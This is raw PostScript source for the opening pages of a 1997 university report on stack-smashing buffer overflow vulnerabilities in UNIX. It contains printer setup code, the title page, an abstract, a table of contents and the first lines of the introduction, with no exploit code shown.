213/Otilde 214/Odieresis 215/multiply 216/Oslash 217/Ugrave 218/Uacute 219/Ucircumflex 220/Udieresis 221/Yacute 222/Thorn 223 /germandbls 224/agrave 225/aacute 226/acircumflex 227/atilde 228/adieresis 229 /aring 230/ae 231/ccedilla 232/egrave 233/eacute 234/ecircumflex 235/edieresis 236/igrave 237/iacute 238/icircumflex 239/idieresis 240/eth 241/ntilde 242 /ograve 243/oacute 244/ocircumflex 245/otilde 246/odieresis 247/divide 248 /oslash 249/ugrave 250/uacute 251/ucircumflex 252/udieresis 253/yacute 254 /thorn 255/ydieresis]def currentdict{dup type/operatortype eq{[exch]cvx def}{ pop pop}ifelse}forall/initialize{currentdict exch begin begin}bind def /terminate{/@FL where not{pop end end}{pop}ifelse}bind def/suspend/terminate load def/resume/initialize load def/M/moveto load def end put/Courier findfont 10 scalefont setfont %%EndResource end /ProcSet defineresource pop %%EndResource %%EndProlog %%BeginSetup Pscript_Win_Compat dup /initialize get exec [ 1.000 0 0 1.000 0 0 ] false /Pscript_Win_Driver /ProcSet findresource dup /initialize get exec [{0 /languagelevel where{pop languagelevel}{1}ifelse 2 ge{1 dict dup/JobTimeout 4 -1 roll put setuserparams}{statusdict/setjobtimeout get exec}ifelse } stopped cleartomark [{240 /languagelevel where{pop languagelevel}{1}ifelse 2 ge{1 dict dup/WaitTimeout 4 -1 roll put setuserparams}{statusdict/waittimeout 3 -1 roll put}ifelse } stopped cleartomark [{1 /languagelevel where{pop languagelevel}{1}ifelse 2 ge{1 dict dup/NumCopies 4 -1 roll put setpagedevice}{userdict/#copies 3 -1 roll put}ifelse } stopped cleartomark [{ 1 dict dup /ManualFeed false put setpagedevice } stopped cleartomark [{ %%BeginFeature: *InputSlot AutoSelect Tray %%EndFeature } stopped cleartomark [{ %%BeginFeature: *PageSize Letter 2 dict dup /Policies 1 dict dup /PageSize 1 put put dup /DeferredMediaSelection true put setpagedevice 2 dict dup /PageSize [612 792] put dup /ImagingBBox null put setpagedevice %%EndFeature } stopped cleartomark 1 setlinecap 1 setlinejoin /mysetup [ 0.120 0 0 -0.120 13.000 780.000 ] | %%EndSetup %%Page: 1 1 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup 612 5633 N M 900 0 - 8 Lw 1 Lc 1 Lj solid 0 0 0 sco K : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.917 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_133) cvn F0 133 xF F0_133 Ji 1612 1722 M -0.033 0 (Stack Smashing Vulnerabilities)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_133 Ji 2446 1879 M 0.039 0 (in)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_133 Ji 1700 2036 M -0.116 0 (the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F2) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F2_100) cvn F2 100 xF F2_100 Ji 2172 2505 M 0.040 0 (Nathan P. Smith)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2077 2623 M -0.071 0 (nate@millcomm.com)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F4) cvn 0.900 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F4_100) cvn F4 100 xF F4_100 Ji 1245 2741 M -0.068 0 (http://millcomm.com/~nate/machines/security/stack-smashing/)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 1886 2977 M -0.078 0 (Computer Science Department)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 1733 3095 M -0.097 0 (Southern Connecticut State University)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 2111 3213 M -0.063 0 (501 Crescent Street)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 1849 3331 M -0.072 0 (New Haven, Connecticut 06515)A ; : 0 0 4883 6391 rc 0 0 0 sco (F0_117) cvn F0 117 xF F0_117 Ji 2256 4040 M -0.282 0 (Summary)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 912 4177 M -0.700 0 (B)A 17.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (o)S 0.200 0 (m)A (b)S 0.200 0 (i)A (n)S 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A 14.000 0 32 (on )W -0.300 0 (f)A -0.400 0 (ea)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (e)A 13.900 0 32 0.100 0 (s )D (o)S 14.300 0 32 -0.300 0 (f )D -0.200 0 (UN)A -2.300 0 (I)A 14.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 16.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 14.800 0 32 0.200 0 (m )D -0.400 0 (a)A 15.000 0 32 (nd )W -0.300 0 (f)A -0.400 0 (ea)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (e)A 14.900 0 32 0.100 0 (s )D (o)S 15.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e )D 0.300 0 (C)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 612 4295 M (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 39.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 38.000 0 32 (, )W 38.800 0 32 0.200 0 (it i)D 38.900 0 32 0.100 0 (s )D (po)S 0.100 0 (ss)A 0.200 0 (i)A (b)S 0.200 0 (l)A 39.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 39.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 39.000 0 32 (n und)W -0.400 0 (e)A -0.300 0 (r)A (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 39.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A 39.300 0 32 -0.300 0 (r )D (o)S 39.300 0 32 -0.300 0 (r )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 38.900 0 32 0.100 0 (ss )D 0.200 0 (t)A 39.000 0 32 (o )W -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 612 4413 M (un)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (c)A 0.200 0 (t)A -0.400 0 (e)A 12.000 0 32 (d )W 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 11.800 0 32 0.200 0 (m )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 12.000 0 32 (. )W 0.300 0 (C)A (o)S 0.200 0 (mm)A 12.000 0 32 (on )W 0.200 0 (t)A 13.000 0 32 (o )W 0.200 0 (m)A -0.400 0 (a)A (n)S 16.000 0 32 -3.000 0 (y )D (h)S 0.200 0 (i)A -1.000 0 (g)A 13.000 0 32 (h p)W -0.300 0 (r)A (o)S -0.300 0 (f)A 0.200 0 (il)A 13.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 13.200 0 32 -0.200 0 (X )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 16.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 0.200 0 (t)A 0.100 0 (s)A 13.000 0 32 (, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 612 4531 M -0.300 0 (r)A -0.400 0 (e)A (po)S -0.300 0 (r)A 8.800 0 32 0.200 0 (t )D -0.400 0 (a)A (n)S -0.400 0 (a)A 0.200 0 (l)A -3.000 0 (y)A 0.600 0 (z)A -0.400 0 (e)A 8.900 0 32 0.100 0 (s )D (ho)S 9.200 0 32 -0.200 0 (w )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 9.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 8.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 9.400 0 32 -0.400 0 (e c)D (on)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (t)A -0.400 0 (e)A 9.000 0 32 (d, )W -0.200 0 (w)A (h)S 12.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S -0.400 0 (e)A 12.000 0 32 -3.000 0 (y )D -0.200 0 (w)A (o)S -0.300 0 (r)A 9.000 0 32 (k )W -0.400 0 (a)A 10.000 0 32 (nd )W -0.200 0 (w)A (h)S -0.400 0 (a)A 9.800 0 32 0.200 0 (t )D -0.400 0 (ca)A 10.000 0 32 (n b)W 10.400 0 32 -0.400 0 (e )D (don)S 10.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 612 4649 M -0.070 0 (prevent the problem.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F4_67) cvn F4 67 xF F4_67 Ji 612 5675 M -0.050 0 (Copyright )A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Symbol (F8) cvn 1.000 (Symbol) cvn /Type1 F (Symbol) cvn mF (F8_67) cvn F8 67 xF F8_67 Ji 900 5668 M 0.070 0 (\323)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 953 5675 M 0.088 0 ( 1997 Smith, Distribution and Reproduction shall remain free of charge)A ; LH savelevel1 restore pagesave restore (%%[ Page: 1 ]%%) = %%PageTrailer %%Page: 2 2 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3977 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4170 54 M 0.500 0 (2)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 505 M 0.210 0 (Table of Contents)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 848 M 0.500 0 (1)A -0.250 0 (. )A 3.750 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 762 848 M 0.130 0 (Introduction\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 848 M 0.500 0 (2)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 1054 M 0.500 0 (2)A -0.250 0 (. )A 3.750 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 762 1054 M -0.076 0 (Terms\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 1054 M 0.500 0 (2)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 912 1260 M 0.500 0 (2)A -0.250 0 (.)A -0.750 0 32 0.500 0 (1 )D -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 1088 1260 M 0.117 0 (Fandango on Core\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\2052)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 912 1466 M 0.500 0 (2)A -0.250 0 (.)A -0.750 0 32 0.500 0 (2 )D -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 1088 1466 M 0.008 0 (Overrun Screw\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 1466 M 0.500 0 (2)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 912 1672 M 0.500 0 (2)A -0.250 0 (.)A -0.750 0 32 0.500 0 (3 )D -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 1088 1672 M 0.120 0 (Smashing, Trashing, Scribbling the Stack\205\205\205\205\205\205\205\205..)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 1672 M 0.500 0 (3)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 912 1878 M 0.500 0 (2)A -0.250 0 (.)A -0.750 0 32 0.500 0 (4 )D -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 1088 1878 M 0.199 0 (Aliasing/Stale/Dangling Pointer Bug\205\205\205\205\205\205\205\205\205\205.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 1878 M 0.500 0 (3)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 2084 M 0.500 0 (3)A -0.250 0 (. )A 3.750 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 762 2084 M 0.043 0 (Stack Smashing Publicity\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 2084 M 0.500 0 (3)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 912 2290 M 0.500 0 (3)A -0.250 0 (.)A -0.750 0 32 0.500 0 (1 )D -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 1088 2290 M 0.092 0 (Security Professionals\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 2290 M 0.500 0 (3)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 912 2496 M 0.500 0 (3)A -0.250 0 (.)A -0.750 0 32 0.500 0 (2 )D -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 1088 2496 M -0.007 0 (Underground Community\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 2496 M 0.500 0 (6)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 2702 M 0.500 0 (4)A -0.250 0 (. )A 3.750 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 762 2702 M -0.036 0 (UNIX Filesystem Permissions\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 2702 M 0.500 0 (7)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 2908 M 0.500 0 (5)A -0.250 0 (. )A 3.750 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 762 2908 M -0.019 0 (UNIX and the C Programming Language\205\205\205\205\205\205\205\205\205\205\205..)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 2908 M 0.500 0 (8)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 3114 M 0.500 0 (6)A -0.250 0 (. )A 3.750 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 762 3114 M 0.132 0 (Tools used for testing\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 3114 M 0.500 0 (9)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 3320 M 0.500 0 (7)A -0.250 0 (. )A 3.750 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 762 3320 M 0.052 0 (UNIX Processes and the Stack\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 3320 M 0.500 0 (11)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 912 3526 M 0.500 0 (7)A -0.250 0 (.)A -0.750 0 32 0.500 0 (1 )D -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 1088 3526 M 0.116 0 (Intel x86 Implementation under the Linux\205\205\205\205\205\205\205\205.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 3526 M 0.500 0 (12)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 3732 M 0.500 0 (8)A -0.250 0 (. )A 3.750 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 762 3732 M 0.041 0 (Buffer Overflows\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 3732 M 0.500 0 (14)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 3938 M 0.500 0 (9)A -0.250 0 (. )A 3.750 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 762 3938 M 0.049 0 (Shell Code\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 3938 M 0.500 0 (16)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 912 4144 M 0.500 0 (9)A -0.250 0 (.)A -0.750 0 32 0.500 0 (1 )D -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 1088 4144 M 0.068 0 (Creative Stack Smashing\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 4144 M 0.500 0 (18)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 4350 M 0.500 0 (10)A -0.250 0 (. )A -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 788 4350 M 0.072 0 (SUID root programs by distribution\205\205\205\205\205\205\205\205\205\205\205\205\205..)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 4350 M 0.500 0 (19)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 4556 M 0.500 0 (11)A -0.250 0 (. )A -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 788 4556 M 0.081 0 (Stack Smashing Prevention\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 4556 M 0.500 0 (19)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 912 4762 M 0.500 0 (11)A -0.250 0 (.)A -0.750 0 32 0.500 0 (1 )D -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 1147 4762 M 0.063 0 (Program Modification\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 4762 M 0.500 0 (20)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 912 4968 M 0.500 0 (11)A -0.250 0 (.)A -0.750 0 32 0.500 0 (2 )D -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 1147 4968 M 0.115 0 (Compiler Modifications\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 4968 M 0.500 0 (24)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 912 5174 M 0.500 0 (11)A -0.250 0 (.)A -0.750 0 32 0.500 0 (3 )D -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 1147 5174 M 0.096 0 (CPU/OS Kernel Stack Execution Privilege\205\205\205\205\205\205\205..)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 5174 M 0.500 0 (26)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 5380 M 0.110 0 (12. Conclusion\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 4062 5380 M 0.500 0 (29)A ; LH savelevel1 restore pagesave restore (%%[ Page: 2 ]%%) = %%PageTrailer %%Page: 3 3 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3977 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4170 54 M 0.500 0 (3)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_133) cvn F2 133 xF F2_133 Ji 612 506 M 0.115 0 ( 1. Introduction)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 740 M -0.700 0 (B)A 18.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (o)S 0.200 0 (m)A (b)S 0.200 0 (i)A (n)S 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e )D 14.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 16.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A -0.300 0 (\222)A 14.900 0 32 0.100 0 (s )D 0.200 0 (li)A (b)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 14.800 0 32 0.200 0 (l )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 15.000 0 32 (h )W 0.200 0 (t)A 16.000 0 32 (o )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 19.000 0 32 -3.000 0 (y )D (h)S -0.400 0 (a)A (nd)S 0.200 0 (li)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 917 M -0.200 0 (w)A 0.200 0 (it)A 2.000 0 32 (h )W 0.100 0 (s)A (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A 2.400 0 32 -0.400 0 (c )D -0.200 0 (UN)A -2.300 0 (I)A 2.200 0 32 -0.200 0 (X )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 1.800 0 32 0.200 0 (m )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 0.100 0 (s)A 2.000 0 32 (, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 1.900 0 32 0.100 0 (s )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 4.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 2.800 0 32 0.200 0 (m )D -0.400 0 (ca)A 3.000 0 32 (n b)W 3.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (a)A (n)S 0.200 0 (i)A (pu)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 3.000 0 32 (d )W 0.200 0 (t)A 3.000 0 32 (o )W -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A (n)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1094 M (un)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (c)A 0.200 0 (t)A -0.400 0 (e)A 8.000 0 32 (d p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 8.000 0 32 (o unp)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 8.000 0 32 (d )W -0.400 0 (acc)A (oun)S 0.200 0 (t)A 7.900 0 32 0.100 0 (s )D (o)S 9.300 0 32 -0.300 0 (r )D (u)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 9.000 0 32 (. )W 9.200 0 32 -0.200 0 (A )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.200 0 (t)A 12.000 0 32 -3.000 0 (y )D (o)S 9.300 0 32 -0.300 0 (f )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 8.800 0 32 0.200 0 (it t)D (h)S -0.400 0 (a)A 8.800 0 32 0.200 0 (t )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (li)A -0.400 0 (e)A 8.900 0 32 0.100 0 (s )D (upon)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1271 M 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 9.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.200 0 (w)A 9.000 0 32 (o )W -0.300 0 (f)A -0.400 0 (ac)A 0.200 0 (t)A (o)S -0.300 0 (r)A 8.900 0 32 0.100 0 (s )D 0.200 0 (i)A 8.900 0 32 0.100 0 (s )D -0.400 0 (c)A (o)S 0.200 0 (mm)A (on)S 0.200 0 (l)A 12.000 0 32 -3.000 0 (y )D (kno)S -0.200 0 (w)A 10.000 0 32 (n )W -0.400 0 (a)A 9.900 0 32 0.100 0 (s )D 10.400 0 32 -0.400 0 (a )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F6) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F6_100) cvn F6 100 xF F6_100 Ji 2404 1271 M (bu)S 0.200 0 (ff)A -0.400 0 (e)A 9.900 0 32 0.100 0 (r )D (o)S -0.400 0 (ve)A 0.100 0 (r)A 0.200 0 (fl)A (o)S 0.300 0 (w)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3028 1271 M 10.000 0 32 (, o)W 10.300 0 32 -0.300 0 (r )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 3206 1271 M 0.100 0 (s)A 0.200 0 (t)A (a)S 10.400 0 32 -0.400 0 (ck )D 0.100 0 (s)A -0.200 0 (m)A (a)S 0.100 0 (s)A (h)S 0.200 0 (i)A 10.000 0 32 (ng )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3859 1271 M (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A -3.000 0 (y)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1448 M 0.400 0 (S)A 0.200 0 (t)A -0.400 0 (ac)A 